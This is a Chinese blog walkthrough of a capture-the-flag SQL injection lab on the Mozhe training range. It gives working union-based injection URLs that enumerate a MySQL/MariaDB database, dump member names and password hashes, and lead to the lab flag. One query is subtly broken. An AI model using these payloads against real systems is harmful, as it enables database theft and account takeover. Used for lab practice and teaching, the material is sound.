sql注入(2) 墨者学院之SQL手工注入漏洞测试(MySQL数据库-字符型)

目录

1.工具及靶场环境

2.解题步骤

2.1判断注入点

2.2判断字段数

2.3信息收集

2.4爆破数据库

2.4.1爆破数据库表名

 2.4.2爆破指定表的列名

2.4.3查询账号密码

 3.md5解码并登录后台


1.工具及靶场环境

工具:Firefox,推荐使用Firefox渗透版或者hackbar插件。

环境:墨者靶场要墨币,其实还有其他可以代替的本地靶场像sqli-lab、pikachu

在线靶场_墨者学院

2.解题步骤

2.1判断注入点

在 ?id=后面加‘判断,结果显示存在注入

124.70.64.48:41471/new_list.php?id=tingjigonggao'

2.2判断字段数

利用'order by 任意数字 %23去判断,得到4(结尾加%23的原因:在一个语句结尾时,需要用#结尾,而#的url编码就是%23)

/new_list.php?id=tingjigonggao'order by 4 %23

2.3信息收集

数据库名:database();

数据库用户:user();

数据库版本:version();

操作系统:@@version_compile_os;

其他如系统路径等:@@datadir;

猜解准备:在?id=tingjigonggao'后面加and 1=2(逻辑错误语句),出现显示位2、3,优先使用union联合注入。

#查询数据库名和版本

/new_list.php?id=tingjigonggao'and 1=2 
union select 1,database(),version(),4 %23

#查询操作系统和用户

/new_list.php?id=tingjigonggao'and 1=2 
union select 1,@@version_compile_os,user(),4 %23

查询路径和用户

/new_list.php?id=tingjigonggao'and 1=2 
union select 1,@@datadir,user(),4 %23

查询结果

数据库名:mozhe_discuz_stormgroup

数据库用户:root@localhost

数据库版本:10.2.15-MariaDB-log

(MariaDB是从MySQL中衍生出来的。这里我们可以看到版本是10.2.15,前面说过MySQL5.0版本以上有个自带的information_shema数据库,利用这个数据库可以查到整个数据库的结构,不然就只能盲猜了。)

操作系统:Linux

其他如系统路径等:/var/lib/mysql/

2.4爆破数据库

2.4.1爆破数据库表名

/new_list.php?id=tingjigonggao'and 1=2 
union select 1,group_concat(table_name),3,4 
from information_schema.tables 
where table_schema='mozhe_discuz_stormgroup' %23

//注释:(1)information_schema.tables表示information_schena这个数据库下的表,在MySQL中【.】代表下一级。

(2)数据库名前面查出来的。

(3)常用参数

information_shcema.tables:记录所有表信息的表

information_shcema.columns:记录所有列名信息的表

table_name:表名

columns_name:列名

table_schema:数据库名

 2.4.2爆破指定表的列名

查询stormgroup_member表的列名

将上面语句修改几处即可。

/new_list.php?id=tingjigonggao'and 1=2 
union select 1,group_concat(column_name),3,4 
from information_schema.columns 
where table_name='stormgroup_member' %23

 爆破总的列名

/new_list.php?id=tingjigonggao'and 1=2 
union select 1,group_concat(column_name),3,4 f
rom information_schema.tables 
where columns_schema='mozhe_discuz_stormgroup' %23

2.4.3查询账号密码

/new_list.php?id=tingjigonggao'and 1=2 
union select 1,group_concat(name),group_concat(password),4 
from stormgroup_member %23

 3.md5解码并登录后台

这里是两个账号和密码

 任选一个返回登陆界面

 成功获得flag。

KEY:mozhe79bfbcec8b5f0adaa232d41f9ad

//注:允许转载,请注明出处。

 

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值